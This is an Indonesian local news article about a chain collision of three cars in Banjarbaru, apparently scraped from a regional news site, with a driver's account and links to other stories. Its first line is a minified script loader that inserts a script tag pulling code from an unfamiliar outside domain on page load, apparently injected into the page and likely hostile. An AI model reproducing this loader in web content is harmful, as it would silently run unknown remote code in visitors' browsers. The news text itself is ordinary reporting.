(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Tabrakan beruntun terjadi di jalan Mistar Cokro Kusumo, Sungai Besar, Rabu (14/2) malam sekitar pukul 22.50 Wita. Tiga unit mobil terlibat dalam kejadian ini, Grand Vitara DA 8971 PA, mobil dinas Toyota Rush DA 741 RA, dan mobil dinas DA 911 BW.
Saksi mata, Khairul (18) mengatakan, mobil Grand Vitara dari arah Pelaihari menuju bundaran Simpang Empat Banjarbaru menyeruduk mobil dinas Toyota Rush DA 741 RA. Saksi mata menyebutkan dari pengakuan sopir Grand Vitara sedang menggunakan ponsel. Sang sopir menurut Kharil sendiri di dalam mobil Grand Vitara itu.
Tiba-tiba Grand Vitara menyeruduk mobil Toyota Rush DA 741 RA yang dikemudikan dr Eko Subiyanto.
Dr Eko dijumpai Kanal Kalimanyan, Kamis (15/2) pagi di Mahligai Sultan Adam tersenyum lebar kepada membenarkan peristiwa yang baru saja menimpanya.
“Iya betul mas, saya termasuk salah satunya, tapi Alhamdulillah saya sehat-sehat saja, cuman mobil saja yang ringsek,†ujarnya.
Menurut pengakuan Eko, malam itu ia bermaksud untuk pulang ke rumahnya setelah datang dari kediaman Sekda Banjar untuk memeriksa mata H Nasrunsyah setelah berobat di luar daerah beberapa waktu lalu. Di lokasi kejadian dekat Hotel Ratu Elok itu, memang sedang padat arus lalu lintas, sehingga ia mengemudikan mobil agak perlahan.
Namun dari depan sudah nampak ada kemacetan lantaran kecelakaan kecil yang terjadi. Mobil yang lain pun berhenti dan diikuti pula oleh dr Eko untuk menghentikan laju mobilnya. Akan tetapi diluar dugaan mobilnya malah ditabrak dari belakang dan mengenai mobil lainnya yang berada di depan.
“Bingung saya, maju ga bisa mundur juga ga bisa, posisi saya terjepit. Akhirnya saya putuskan untuk keluar mobil,†ujarnya.
Dr Eko menambahkah, suasana di lokasi saat itu sedikit panas dengan banyaknya warga yang berdatangan, emosi terhadap pelaku penabrakan. Ditambah lagi korban yang ditabrak mobilnya adalah Eko yang merupakan tetangga mereka.
“Untungnya tidak sampai dipukul warga saat itu. Karena dia berjanji akan mengganti semua mobil yang rusak,†ujarnya. “Ampun maaf pak, ulun yang salah, ulun nyupir sambil teleponan tadi,†ujar Eko menirukan ucapan penabrak mobilnya. (abdullah,hendera)
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.